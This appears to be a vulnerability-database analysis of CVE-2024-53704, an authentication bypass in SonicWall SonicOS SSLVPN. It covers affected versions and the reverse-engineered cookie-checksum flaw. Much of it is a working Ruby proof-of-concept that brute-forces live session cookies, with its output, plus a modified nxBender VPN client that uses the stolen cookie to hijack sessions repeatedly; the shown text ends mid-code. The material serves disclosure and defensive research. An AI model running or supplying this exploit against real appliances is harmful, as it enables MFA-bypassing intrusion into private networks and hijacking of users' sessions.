Attacker Value
Very High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
2

CVE-2024-53704

Disclosure Date: January 09, 2025
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated

Description

An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.

Add Assessment

3
Ratings
Technical Analysis

On January 7, 2025, SonicWall announced an authentication bypass affecting SonicOS, the operating system used by many SonicWall appliances. The vulnerability was credited to Daan Keuper, Thijs Alkemade, and Khaled Nassar of Computest Security. Successful exploitation of this vulnerability, which was assigned CVE-2024-53704, allows a remote unauthenticated attacker to hijack existing authenticated client SSLVPN sessions. As such, this is a very useful vulnerability for threat actors as an initial access vector.

Based on our research, CVE-2024-53704 is exploitable in the default SSLVPN configuration. Multi-factor authentication is bypassed during exploitation, facilitating initial access even via accounts with MFA enabled. Exploitation does not require the knowledge of an existing username or password. In order to compromise a user’s account, the user must actively be logged in at the time of exploitation. Notably, exploitation is intrusive; the user’s SSLVPN connection will be repeatedly terminated and reconnected while the threat actor hijacks the connection.

I’ve assigned the Attacker Value as “Very High”, since the exploit facilitates unauthenticated initial access on a system typically exposed to the public internet. I’ve assigned the exploitability as “High”, since the exploit does cause some disruption to normal user activity, and internal network access can be choppy. For more exploitation details and IOCs, refer to the Rapid7 Analysis tab.

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • SonicWall

Products

  • SonicOS

Additional Info

Technical Analysis

Overview

On January 7, 2025, SonicWall announced an authentication bypass affecting SonicOS, the operating system used by many SonicWall appliances. This authentication bypass, which is assigned CVE-2024-53704 and affects many SonicWall devices, permits an unauthenticated attacker to bypass the SSLVPN authentication process. Since SSLVPN is often exposed to the public internet, an SSLVPN authentication bypass could facilitate initial access. The vendor stated when the advisory was published that there was no evidence of exploitation in the wild.

Successful exploitation of this vulnerability allows a remote unauthenticated attacker to hijack existing authenticated client SSLVPN sessions. Based on our research, CVE-2024-53704 is exploitable in the default SSLVPN configuration. Furthermore, multi-factor authentication is bypassed during exploitation, facilitating initial access even via accounts with MFA enabled. Exploitation does not require the knowledge of an existing username or password.

The vulnerability is credited to Daan Keuper, Thijs Alkemade, and Khaled Nassar of Computest Security. Researchers at Bishop Fox published a video of their own private proof-of-concept exploit running, and their exploit behaves similarly to the one outlined in this analysis.

Per the SonicWall advisory, the following product and versions are affected by CVE-2024-53704:

Affected Platforms Affected Versions
Gen7 Firewalls – TZ270, TZ270W, TZ370, TZ370W, TZ470, TZ470W, TZ570, TZ570W, TZ570P, TZ670, NSa 2700, NSa 3700,NSa 4700, NSa 5700, NSa 6700, NSsp 10700, NSsp 11700, NSsp 13700, NSsp 15700 7.1.x (7.1.1-7058 and older versions), and version 7.1.2-7019.
Gen7 NSv – NSv 270, NSv 470, NSv 870 7.1.x (7.1.1-7058 and older versions), and version 7.1.2-7019.
TZ80 Version 8.0.0-8035

Analysis

CVE-2024-53704 is described as an insecure base64 decoding vulnerability affecting session cookies. Our analysis is based on a SonicWall NSv appliance, and we diffed the vulnerable 7.1.2-7019-R6288 version against the patched 7.1.3-7015-R6965 version.

Based on our findings, exploitation permits an attacker to leverage the SSLVPN server as a boolean blind oracle to leak valid VPN session cookies. The vulnerability flow requires that an unauthenticated attacker provide cookie prefix guesses to a web API. When a partial cookie prefix that matches a live session cookie is provided, the server will incorrectly return a positive response. We’ll take a look at this below.

After configuring and snapshotting the pre- and post-patch NSv appliance, we can see that the NetExtender SSLVPN binary, sonicosv, has been changed. We start by looking at the list of strings that the binary contains in IDA. Querying for “sslvpn” returns an interesting-sounding string – getSslvpnSessionFromCookie. The advisory mentions a vulnerable base64 decoding process for SSLVPN session cookies, which aligns with what we’re looking for.

The string is used in one function in the 7.1.2-7019-R6288 version of sonicosv. Viewing the BinDiff change percentages of the pre- and post-patch sonicosv indicates that this function has undergone some notable changes. The unannotated pre-patch pseudo C for this function is below.

__int64 __fastcall sub_2ACB160(char *a1)
{
  size_t v1; // rax
  char *v2; // rax
  char *v3; // rbp
  __int64 v5; // [rsp+0h] [rbp-10h]

  if ( !a1 )
    return 0LL;
  v1 = strlen(a1); 
  if ( v1 == 32 )
  {
    if ( (unsigned __int8)sub_2AD0210(a1, 32) )
      return sub_2ACC210((__int64)a1, 1u);
  }
  else if ( v1 == 44 )
  {
    v2 = (char *)sub_263BE50(a1);
    v3 = v2;
    if ( v2 )
    {
      if ( (unsigned __int8)sub_2AD0210(v2, 32) )
      {
        v5 = sub_2ACC210((__int64)v3, 1u);
        sub_2CBAE10(v3, "getSslvpnSessionFromCookie", 0x1FAu);
        return v5;
      }
      sub_2CBAE10(v3, "getSslvpnSessionFromCookie", 0x201u);
    }
  }
  return 0LL;
}

Cross-referencing the sub_2ACB160 function points us toward a function called sub_2ABF120. When we search for xrefs of that function, we arrive at a table, which is shown below. This table contains a list of web API endpoints and their respective handler functions. At [1], we observe the API path /__api__/v1/client/sessionstatus, and it indicates that the sub_2ABF120 function we found is its handler.

[..SNIP..]
.data:0000000006C9F2B0                 dq offset aApiV1ClientVpn ; "/__api__/v1/client/vpnparameters"
.data:0000000006C9F2B8                 dq offset sub_2ABF040
.data:0000000006C9F2C0                 db    1
.data:0000000006C9F2C1                 db    0
.data:0000000006C9F2C2                 db    0
.data:0000000006C9F2C3                 db    0
.data:0000000006C9F2C4                 db    0
.data:0000000006C9F2C5                 db    0
.data:0000000006C9F2C6                 db    0
.data:0000000006C9F2C7                 db    0
.data:0000000006C9F2C8                 dq offset aApiV1ClientSes ; "/__api__/v1/client/sessionstatus"
.data:0000000006C9F2D0                 dq offset sub_2ABF120 // [1]
.data:0000000006C9F2D8                 db    1
.data:0000000006C9F2D9                 db    0
.data:0000000006C9F2DA                 db    0
.data:0000000006C9F2DB                 db    0
.data:0000000006C9F2DC                 db    0
.data:0000000006C9F2DD                 db    0
.data:0000000006C9F2DE                 db    0
.data:0000000006C9F2DF                 db    0
.data:0000000006C9F2E0                 dq offset aApiV1ClientNxv ; "/__api__/v1/client/nxversion"
.data:0000000006C9F2E8                 dq offset sub_2ABF5A0
[..SNIP..]

In the decompilation for the sessionstatus function, we see early string checks for cookie. Since this is a handler function for a web API, it seems likely that this is a header or URL parameter input.

__int64 __fastcall sub_2ABF120(unsigned int a1, _DWORD *a2)
{
  // ..SNIP..
  v2 = sub_2635E00();
  v3 = sub_2635EA0(a2, "cookie");
  v4 = (char *)sub_26364D0(v3);
  v5 = sub_2ACB160(v4); // The “getSslvpnSessionFromCookie” function we were previously looking at.
  if ( (unsigned __int8)sub_2ACB0F0(v5) )
  {
   // ..SNIP..

Further down in this function, we see string references to session statuses, such as idle, active, and notfound. These look like possible response strings. We’ll attempt to confirm that with a curl request.

# curl -k 'https://192.168.154.137:4433/__api__/v1/client/sessionstatus?cookie=TEST'
{"status":"notfound","idle":0,"remaining":-1,"pwdExpDays":-1,"forceUserLogoutBySchedule":false}

Attempting to access this URL on the SSLVPN default port, which is 4433, has returned “notfound”. This is an indication that we’ve hit the code path we’ve been looking for, and it seems like we’re querying for live sessions. Since this pre-auth function calls the previous interesting-looking getSslvpnSessionFromCookie function, we’ll investigate that code path further.

Below is a cleaned up version of the getSslvpnSessionFromCookie function. We’ve made some guesses about what some function names and local variables are, such as verifyCookieCheckSum and cookie_str, based on analysis and contextual information. We can see if we pass a 44-character string as a session cookie at [2], it will be base64 decoded at [3]. Next, the checksum of the decoded value is verified at 4. Finally, at [5], the decoded cookie string is used to lookup a session object from a global session table.

struct_session *__fastcall getSslvpnSessionFromCookie(char *cookie_str)
{
  size_t cookie_len; // rax
  char *v2; // rax
  char *v3; // rbp
  struct_session *session_from_id; // [rsp+0h] [rbp-10h]

  if ( !cookie_str )
    return 0LL;
  cookie_len = strlen(cookie_str);
  if ( cookie_len == 32 )
  {
    if ( !(unsigned __int8)verifyCookieCheckSum(cookie_str, 32) )
      return 0LL;
    return maybe_get_session_from_id(cookie_str, 1u);
  }
  else
  {
    if ( cookie_len != 44 ) // <-- [2]
      return 0LL;
    v2 = decoder(cookie_str);// <-- [3] base64 decode input
    v3 = v2;
    if ( !v2 )
      return 0LL;
    if ( !(unsigned __int8)verifyCookieCheckSum(v2, 32) ) // <-- [4] verify a simple check sum
    {
      maybe_free(v3, (__int64)"getSslvpnSessionFromCookie", 0x201u);
      return 0LL;
    }
    session_from_id = maybe_get_session_from_id(v3, 1u); // <-- [5] get an existing session object via the session id string
    maybe_free(v3, (__int64)"getSslvpnSessionFromCookie", 0x1FAu);
    return session_from_id;
  }
}

Since the checksum appears to be doing some input validation legwork here, we’ll investigate it further. The checksum is a simple single-character at position 32, computed by xoring the preceding 31 characters of the decoded cookie string. If the first character of the base64 encoded cookie value matches with what has been provided, the checksum is considered valid.

__int64 __fastcall verifyCookieCheckSum(_BYTE *cookie_str, int cookie_len)
{
  _BYTE *cookie_end; // rbx
  char checksum_calc; // al
  unsigned int checksum_correct; // r12d
  char *b64_checksum; // rdi
  __int16 temp[13]; // [rsp+Eh] [rbp-1Ah] BYREF

  temp[0] = 0;
  if ( cookie_len <= 1 )
  {
    cookie_end = cookie_str;
  }
  else
  {
    cookie_end = &cookie_str[cookie_len - 2 + 1];
    checksum_calc = 0;
    do
      checksum_calc ^= *cookie_str++;
    while ( cookie_str != cookie_end );
    LOBYTE(temp[0]) = checksum_calc;
  }
  checksum_correct = 0;
  b64_checksum = (char *)b64((char *)temp);
  if ( b64_checksum )
  {
    LOBYTE(checksum_correct) = *b64_checksum == *cookie_end;
    maybe_free(b64_checksum, "verifyCookieCheckSum", 0xA9u);
  }
  return checksum_correct;
}

The cleaned up decompilation of the function maybe_get_session_from_id is below. We can see at [6] it will loop over every existing session object via a linked list. For every existing session object, the session cookie/ID is compared to what the attacker has supplied. If it matches, the session is returned at [7].

struct_session *__fastcall maybe_get_session_from_id(char *input_str, unsigned int table_idx)
{
  struct_session *session; // r12
  __int64 idx; // rax
  char next_input_char; // dl
  char next_sessid_char; // cl
  void **maybe_list_mutex; // [rsp+8h] [rbp-20h]

  if ( !input_str )
    return 0LL;
  session = (struct_session *)**((_QWORD **)&maybe_global_session_table + 7 * table_idx);
  if ( !session )
    return session;
  maybe_list_mutex = session->maybe_list_mutex;
  ListProtect(session->maybe_list_mutex);
  for ( session = session->first_session; session; session = session->next_session ) // <-- [6]
  {
    idx = 0LL;
    while ( 1 )
    {
      next_input_char = input_str[idx];
      if ( !next_input_char || (next_sessid_char = session->session_id_string[idx]) == 0 ) // <-- [8]
      {
finish_success:
        ListRelease(maybe_list_mutex);
        return session; // <-- [7]
      }
      if ( next_input_char != next_sessid_char )
        break;
      if ( ++idx == 32 )
        goto finish_success;
    }
  }
  ListRelease(maybe_list_mutex);
  return 0LL;
}

However, there is a logic flaw at [8], in the !next_input_char || part of the “if” expression.

The product assumes that null characters cannot be provided. The string length of the decoded value is never explicitly checked to be 32, since the call to verifyCookieCheckSum has a length value of 32 passed in. If the attacker can pass in a null character to truncate the string (which they can, thanks to the base64 decoding in getSslvpnSessionFromCookie), then the function above will return early. The net effect of this is that we can supply an encoded session cookie that has a decoded string length of < 32, which is less than the developers expected.

The two security assumptions here have been broken. The length of the comparison can be much smaller than expected, and we can still provide the checksum at the expected position. So, the attacker can:

  1. Guess a first character of a session ID and pad the value with null characters up to the expected length. A legitimate session ID is made up of characters in the range a-z, so our guess falls within that range.
  2. Compute the valid checksum for that single-character session ID and append it to the data.
  3. Base64-encode and submit the data to the /__api__/v1/client/sessionstatus web API.
  4. Observe that the server considers the data valid, and determine whether the response indicates the data is a prefix for a known session ID.
  5. Attempt to guess the next character if the response is positive, otherwise return to step 1.

An attacker can leverage this technique to quickly brute force every existing session ID.
We’ll weaponize this leaking capability and demonstrate actually hijacking an SSLVPN session to access the internal network now.

We’ll start by downloading the latest SonicWall NetExtender client for Windows. We’ll connect with known credentials to establish an authenticated session that the attacker can hijack.

Connected

We leverage a Ruby proof-of-concept exploit to leak the victim’s session. This exploit is reproduced below.

# PoC for CVE-2024-53704
#
# Usage: ruby CVE-2024-53704.rb -t 192.168.86.119 -v
#
# Note: run with the -v flag for verbose output, this way you can see any partially leaked session IDs

require 'base64'
require 'socket'
require 'openssl'
require 'json'
require 'cgi'
require 'optparse'

$verbose = false

def log(txt)
  $stdout.puts txt
end

def send_http_data(s, data, verbose = false)
  s.write(data)

  result = ''

  content_length = nil

  while line = s.gets
    p line if verbose

    m = line.match(/Content-length: (\d+)\r\n/i)
    content_length = m[1].to_i if m

    result << line

    next unless line == "\r\n" && content_length
    break if content_length <= 0

    content = s.read(content_length)

    p content if verbose

    result << content
    break
  end

  result
end

def calc_checksum(cookie)
  csum_val = 0

  cookie.unpack('C*').each do |c|
    csum_val ^= c
  end

  csum_char = [csum_val].pack('C')

  Base64.strict_encode64(csum_char)[0]
end

throw 'test #1 calc_checksum failed' unless calc_checksum('brimacrecikaleuaphithibichiwrip') == 'b'
throw 'test #2 calc_checksum failed' unless calc_checksum('tricarotrihoslasihabahaslajotra') == 'Y'
throw 'test #2 calc_checksum failed' unless calc_checksum('trigepoviphafrakebripigapedriwe') == 'c'

def get_sessionstatus(ip, port, cookie)
  s = TCPSocket.open(ip, port)

  if [443, 4433].include?(port)
    ctx = OpenSSL::SSL::SSLContext.new

    ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)

    s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
      socket.sync_close = true
      socket.connect
    end
  end

  body  = "GET /__api__/v1/client/sessionstatus?cookie=#{CGI.escape(cookie)} HTTP/1.1\r\n"
  body << "Host: #{ip}:#{port}\r\n"
  body << "Origin: https://#{ip}:#{port}\r\n"
  body << "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36\r\n"
  body << "Connection: close\r\n"
  body << "Content-Length: 0\r\n"
  body << "\r\n"

  send_http_data(s, body)
end

def brute_cookies(ip, port, cookie_prefix = '')
  alphabet = [*'a'..'z']

  alphabet.each do |char|
    raw_cookie = cookie_prefix

    raw_cookie += char

    # a session ID is 32 chars, minus 1 for the checksum.
    raw_cookie += ([0].pack('C') * (32 - raw_cookie.length - 1))

    raw_cookie += calc_checksum(raw_cookie)

    throw "bad raw_cookie length #{raw_cookie.length}" unless raw_cookie.length == 32

    encoded_cookie = Base64.strict_encode64(raw_cookie)

    # a base64 encoded 32 char string will be 44 chars.
    throw "bad encoded_cookie length #{encoded_cookie.length}" unless encoded_cookie.length == 44

    res = get_sessionstatus(ip, port, encoded_cookie)

    next if res.include? 'notfound'

    pp "maybe: #{raw_cookie}" if $verbose

    if "#{cookie_prefix}#{char}".length == (32 - 1)
      log "[+] Found a valid session cookie: #{raw_cookie}"
    else
      brute_cookies(ip, port, "#{cookie_prefix}#{char}")
    end
  end
end

def hax(ip, port)
  log "[+] Targeting #{ip}:#{port}"

  brute_cookies(ip, port)
end

target_ip = nil
target_port = 4433

OptionParser.new do |opts|
  opts.banner = 'Usage: CVE-2024-53704.rb [options]'

  opts.on('-t', '--taget=TARGET', 'target IP') do |v|
    target_ip = v
  end

  opts.on('-p', '--port=PORT', 'target port') do |v|
    target_port = v.to_i
  end
  opts.on('-v', '--verbose', 'verbose') do |_v|
    $verbose = true
  end
end.parse!

throw 'set target IP via -t argument' unless target_ip

hax(target_ip, target_port)

Let’s see it in action.

# ruby leak.rb -t 192.168.154.137 -p 4433 -v
[+] Targeting 192.168.154.137:4433
"maybe: u\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000d"
"maybe: ue\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000E"
"maybe: uer\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000Y"
"maybe: uere\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000B"
"maybe: uerep\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000d"
"maybe: uerepr\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000B"
"maybe: uerepro\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000a"
"maybe: uerepros\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000G"
"maybe: uereprose\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000f"
"maybe: uereprosec\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000H"
"maybe: uereprosech\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000d"
"maybe: uereproseche\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000E"
"maybe: uereprosechec\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000c"
"maybe: uereprosechech\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000G"
"maybe: uereprosechecho\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000d"
"maybe: uereprosechechos\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000B"
"maybe: uereprosechechosw\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000c"
"maybe: uereprosechechoswa\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000E"
"maybe: uereprosechechoswah\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000e"
"maybe: uereprosechechoswaho\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000F"
"maybe: uereprosechechoswahot\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000Y"
"maybe: uereprosechechoswahoth\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000C"
"maybe: uereprosechechoswahotho\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000Z"
"maybe: uereprosechechoswahothos\u0000\u0000\u0000\u0000\u0000\u0000\u0000F"
"maybe: uereprosechechoswahothosp\u0000\u0000\u0000\u0000\u0000\u0000Z"
"maybe: uereprosechechoswahothospa\u0000\u0000\u0000\u0000\u0000B"
"maybe: uereprosechechoswahothospac\u0000\u0000\u0000\u0000Z"
"maybe: uereprosechechoswahothospaca\u0000\u0000\u0000B"
"maybe: uereprosechechoswahothospacap\u0000\u0000d"
"maybe: uereprosechechoswahothospacape\u0000E"
"maybe: uereprosechechoswahothospacapepY"
[+] Found a valid session cookie: uereprosechechoswahothospacapepY

Next, we want to hijack the victim’s VPN connection. We could reverse engineer the proprietary SonicWall NetExtender SSLVPN protocol. However, luckily, a GitHub open-source client called nxBender has already done so. We’ll fork the client, scrap the existing authentication code, and add a new parameter for the leaked cookie. We’ll also add a “while” loop to repeatedly take control after the victim client reconnects and kicks us off.

# cat nxbender/__init__.py 
import configargparse
import requests
import logging
import getpass
from colorlog import ColoredFormatter
from time import sleep

parser = configargparse.ArgumentParser(
        description='Connect to a netExtender VPN',
        default_config_files=['/etc/nxbender', '~/.nxbender'],
    )

parser.add_argument('-s', '--server', required=True)
parser.add_argument('-P', '--port', type=int, default=4433, help='Server port - default 4433')
parser.add_argument('-S', '--swap', required=True, help='Swap cookie')
parser.add_argument('--debug', action='store_true', help='Show debugging information')
parser.add_argument('--show-ppp-log', action='store_true', help='Print PPP log messages to stdout')
parser.add_argument('-m', '--max-line', type=int, default=1500, help='Maximum length of a single line of PPP data sent to the server')

def main():
    args = parser.parse_args()

    if args.debug:
        loglevel = logging.DEBUG
    else:
        loglevel = logging.INFO

    formatter = ColoredFormatter(
            "%(log_color)s%(levelname)-8s%(reset)s %(message_log_color)s%(message)s",
            secondary_log_colors={
                    'message': {
                            'ERROR':    'red',
                            'CRITICAL': 'red'
                    }
            }
    )
    logging.basicConfig(level=loglevel)
    logging.getLogger().handlers[0].setFormatter(formatter)

    if args.debug:
        try:
            from http.client import HTTPConnection # py3
        except ImportError:
            from httplib import HTTPConnection # py2

        HTTPConnection.debuglevel = 2

    from . import nx, sslconn

    sess = nx.NXSession(args)

    # Enter tug-of-war for access
    while True:
        try:
            sess.run()
        except requests.exceptions.SSLError as e:
            logging.error("SSL error: %s" % e)
            # print the server's fingerprint for the user to consider
            sslconn.print_fingerprint(args.server)
        except requests.exceptions.ConnectionError as e:
            message = e.message.reason.message.split(':')[1:][-1]   # yuk
            logging.error("Error connecting to remote host: %s" % message)
        # The latest Windows client will stop attempting to reconnect if this loops too fast, without a delay
        sleep(2)
# cat nxbender/nx.py 
#!/usr/bin/env python2
import requests
import logging
from . import ppp
import pyroute2
import ipaddress
import atexit
import subprocess
import sys

from requests.adapters import HTTPAdapter
from requests.packages.urllib3.poolmanager import PoolManager
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

try:
    unicode
except NameError:
    unicode = str

class NXSession(object):
    def __init__(self, options):
        self.options = options

    def run(self):
        self.host = self.options.server + ':%d' % self.options.port
        self.session = requests.Session()

        self.session.verify = False

        self.session.headers = {
                'User-Agent': 'Dell SonicWALL NetExtender for Linux 8.1.789',
        }

        logging.info("Skipping login >:)")
        logging.info("Starting session...")
        self.start_session()

        logging.info("Dialing up tunnel...")
        self.tunnel()

    def start_session(self):
        # Patch in our stolen cookie
        self.session.cookies.set("swap", self.options.swap, domain=self.options.server)
        """
        Start a VPN session with the server.

        Must be logged in.
        Stores srv_options and routes returned from the server.
        """

        try:
            resp = self.session.get('https://%s/cgi-bin/sslvpnclient' % self.host,
                                    params={
                                        'launchplatform': 'mac',
                                        'neProto': 3,
                                        'supportipv6': 'no',
                                    },
                                   )
        except requests.exceptions.ConnectionError:
            logging.error('The server did not accept the provided swap cookie. Is it correct?')
            sys.exit(1)

        error = resp.headers.get('X-NE-Message', None)
        error = resp.headers.get('X-NE-message', error)
        if error:
            logging.error('Server returned error: "%s"' % error)
            sys.exit(1)

        srv_options = {}
        routes = []

        # Very dodgily avoid actually parsing the HTML
        for line in resp.iter_lines():
            line = line.strip().decode('utf-8', errors='replace')
            if line.startswith('<'):
                continue
            if line.startswith('}<'):
                continue

            try:
                key, value = line.split(' = ', 1)
            except ValueError:
                logging.debug("Unexpected line in session start message: '%s'" % line)

            if key == 'Route':
                routes.append(value)
            elif key not in srv_options:
                srv_options[key] = value
            else:
                logging.debug('Duplicated srv_options value %s = %s' % (key, value))

            if "userName" in key:
                logging.info('Victim user = %s' % value)
            elif "domainName" in key:
                logging.info('Domain name = %s' % value)
            logging.debug("srv_option '%s' = '%s'" % (key, value))

        self.srv_options = srv_options
        self.routes = routes

    def tunnel(self):
        """
        Begin PPP tunneling.
        """

        tunnel_version = self.srv_options.get('NX_TUNNEL_PROTO_VER', None)

        if tunnel_version is None:
            auth_key = self.session.cookies['swap']
        elif tunnel_version == '2.0':
            auth_key = self.srv_options['SessionId']
        else:
            logging.warn("Unknown tunnel version '%s'" % tunnel_version)
            auth_key = self.srv_options['SessionId']    # a guess

        self.show_ppp_log = True

        pppd = ppp.PPPSession(self.options, auth_key, routecallback=self.setup_routes)
        pppd.run()

    def setup_routes(self, gateway):
        ip = pyroute2.IPRoute()
        for route in set(self.routes):
            print("ROUTE:", route)
            net = ipaddress.IPv4Network(unicode(route))
            dst = '%s/%d' % (net.network_address, net.prefixlen)
            ip.route("add", dst=dst, gateway=gateway)

        logging.info("Remote routing configured, VPN is up")
# cat nxbender/ppp.py 
import subprocess
import threading
import pty
import os
import logging
import sys
from . import sslconn
import ssl
import signal
import select
import socket

class PPPSession(object):
    def __init__(self, options, session_id, routecallback=None):
        self.options = options
        self.session_id = session_id
        self.routecallback = routecallback

        self.pppargs = [
                'debug', 'debug',
                'dump',
                'logfd', '2',   # we extract the remote IP thru this
                # note: we programmatically inject the target route into /etc/ppp/ip-up for this poc
                # for example, `/sbin/ip route add 192.168.168.0/24 via 192.0.2.1 dev ppp0`

                'lcp-echo-interval', '10',
                'lcp-echo-failure',  '2',

                'ktune',
                'local',
                'noipdefault',
                'noccp',    # server is buggy
                'noauth',
                'nomp',
                'usepeerdns',
        ]

    def run(self):
        master, slave = pty.openpty()
        self.pty = master

        try:
            self.pppd = subprocess.Popen(['pppd'] + self.pppargs,
                                         stdin = slave,
                                         stdout = slave,
                                         stderr = subprocess.PIPE)
        except OSError as e:
            logging.error("Unable to start pppd: %s" % e.strerror)
            sys.exit(1)

        os.close(slave)

        self.tunsock = sslconn.SSLTunnel(self.session_id, self.options, self.options.server, self.options.port)
        self.pty = master

        def sigint_twice(*args):
            logging.info('caught SIGINT again, killing pppd')
            self.pppd.send_signal(signal.SIGKILL)

        def sigint(*args):
            logging.info('caught SIGINT, signalling pppd')
            self.killing_pppd = True
            self.pppd.send_signal(signal.SIGTERM)
            signal.signal(signal.SIGINT, sigint_twice)
            os.kill(os.getpid(), signal.SIGHUP) # break out of select()

        old_sigint = signal.signal(signal.SIGINT, sigint)
        signal.signal(signal.SIGHUP, signal.SIG_IGN)
        signal.signal(signal.SIGWINCH, signal.SIG_IGN)

        try:
            while self.pppd.poll() is None:
                stop = self._pump()
                if stop:
                    break
        except ssl.SSLZeroReturnError:
            logging.info("Victim reconnected automatically")
        except ssl.SSLError as e:     # unexpected
            logging.exception(e)
        except socket.error as e:     # expected (peer disconnect)
            logging.error(e.strerror)
        finally:
            code = self.pppd.poll()
            if code is not None:    # pppd caused termination
                logger = logging.error
                if getattr(self, 'killing_pppd', False) and code == 5:
                    logger = logging.info
                logger("pppd exited with code %d" % code)

                if code in [2, 3]:
                    logging.warn("Are you root? You almost certainly need to be root")
            else:
                self.pppd.send_signal(signal.SIGHUP)

            logging.info("Booted off VPN...")
            os.close(self.pty)
            self.pppd.wait()
            signal.signal(signal.SIGINT, old_sigint)
            self.tunsock.close()

    def _pump(self):
        r_set = [self.tunsock, self.pppd.stderr]
        w_set = []

        # If the SSL tunnel is blocked on writes, apply backpressure (stop reading from pppd)
        if self.tunsock.writes_pending:
            w_set.append(self.tunsock)
        else:
            r_set.append(self.pty)

        try:
            r, w, x = select.select(r_set, w_set, [])
        except select.error:
            return True   # interrupted

        if self.tunsock in r:
            self.tunsock.read_to(self.pty)

        if self.pty in r:
            stop = self.tunsock.write_from(self.pty)
            if stop:
                return stop

        if self.tunsock in w:
            self.tunsock.write_pump()

        if self.pppd.stderr in r:
            line = self.pppd.stderr.readline().strip().decode('utf-8', errors='replace')

            if self.options.show_ppp_log:
                print("pppd: %s" % line)

            if line.startswith("remote IP address"):
                remote_ip = line.split(' ')[-1]
                self.routecallback(remote_ip)
# cat nxbender/sslconn.py 
import ssl
import socket
import hashlib
import struct
import logging
import sys
import os

class SSLConnection(object):
    def __init__(self, options, host, port):
        self.options = options

        sock = socket.socket()
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        sock.connect((host, port))

        pinning = getattr(options, 'fingerprint', False);

        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

        self.s = context.wrap_socket(sock)

        if pinning:
            if self.fingerprint != options.fingerprint.lower():
                logging.error("Certificate fingerprint verification failed; server's fingerprint is %s" % self.fingerprint)
                sys.exit(1)

    @property
    def fingerprint(self):
        cert = self.s.getpeercert(True)
        raw = hashlib.sha1(cert).digest()
        if isinstance(raw, str):    # py2
            raw = map(ord, raw)
        return ':'.join(['%02x' % c for c in raw])

def print_fingerprint(host):
    conn = SSLConnection(None, host, 443)
    print("Server's certificate fingerprint: %s" % conn.fingerprint)

class SSLTunnel(SSLConnection):
    def __init__(self, session_id, *args, **kwargs):
        super(SSLTunnel, self).__init__(*args, **kwargs)

        headers={
            'X-SSLVPN-PROTOCOL': '2.0',
